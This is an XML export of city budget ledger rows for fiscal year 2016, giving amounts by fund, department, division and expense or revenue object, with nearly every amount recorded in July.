<row _id="22072"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1576</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1576</total></row>
<row _id="22073"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3743</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3743</total></row>
<row _id="22074"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>408450.0</object><object_description>TMD ASSESSMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-20056</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20056</total></row>
<row _id="22075"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>77352</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>77352</total></row>
<row _id="22076"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22077"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4246</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4246</total></row>
<row _id="22078"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>523110.0</object><object_description>ELECTRIC VEHI CHARGER MAINTENE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="22079"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511050.0</object><object_description>CAPITAL PROJECT STAFFING</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-146532</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-146532</total></row>
<row _id="22080"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>577723.0</object><object_description>CDBG - RESIDENTIAL REHAB PROG</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>300000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>300000</total></row>
<row _id="22081"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>579440.0</object><object_description>CIVIC PARKING BOND 2015DBT SVC</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2100000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2100000</total></row>
<row _id="22082"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569420.0</object><object_description>SM CONSERVANCY</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22083"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5064</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5064</total></row>
<row _id="22084"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="22085"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>408473.0</object><object_description>OTHER BUSINESS PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-59457</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-59457</total></row>
<row _id="22086"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>578391.0</object><object_description>BIKE VALET - PROP A  LOCAL RET</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>40000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>40000</total></row>
<row _id="22087"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400270.0</object><object_description>ANIMAL LICENSES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-193271</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-193271</total></row>
<row _id="22088"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401381.0</object><object_description>DOG &amp; CAT NEUTER DEPOSITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-10636</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-10636</total></row>
<row _id="22089"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>24921</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24921</total></row>
<row _id="22090"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5500</total></row>
<row _id="22091"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>555080.0</object><object_description>DEAD ANIMAL DISPOSAL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10112</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10112</total></row>
<row _id="22092"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-3000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3000</total></row>
<row _id="22093"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408671.0</object><object_description>WAYFINDING-MLTI-MODL METRO CFP</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-640000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-640000</total></row>
<row _id="22094"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22095"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22096"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407201.0</object><object_description>ROSIE'S GIRLS DONATIONS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1000</total></row>
<row _id="22097"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>409330.0</object><object_description>BIKESHARE SPONSORSHIP REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22098"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>556260.0</object><object_description>TWILIGHT CONCERT SERIES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>500000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500000</total></row>
<row _id="22099"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-959292</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-959292</total></row>
<row _id="22100"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>66989</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>66989</total></row>
<row _id="22101"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-30869</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-30869</total></row>
<row _id="22102"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-2109</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2109</total></row>
<row _id="22103"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-11552</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11552</total></row>
<row _id="22104"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>20616</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20616</total></row>
<row _id="22105"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>26631</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26631</total></row>
<row _id="22106"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>27459</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>27459</total></row>
<row _id="22107"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>393674</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>393674</total></row>
<row _id="22108"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20821</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20821</total></row>
<row _id="22109"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2045072</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2045072</total></row>
<row _id="22110"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>22488</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22488</total></row>
<row _id="22111"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-4009</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-4009</total></row>
<row _id="22112"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6863</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6863</total></row>
<row _id="22113"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3246</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3246</total></row>
<row _id="22114"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2313</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2313</total></row>
<row _id="22115"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5461</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5461</total></row>
<row _id="22116"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>60000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>60000</total></row>
<row _id="22117"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2231258</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2231258</total></row>
<row _id="22118"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>306</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>306</total></row>
<row _id="22119"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>106</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>106</total></row>
<row _id="22120"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22121"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>409310.0</object><object_description>AUTO PARK PERMIT</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-12000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-12000</total></row>
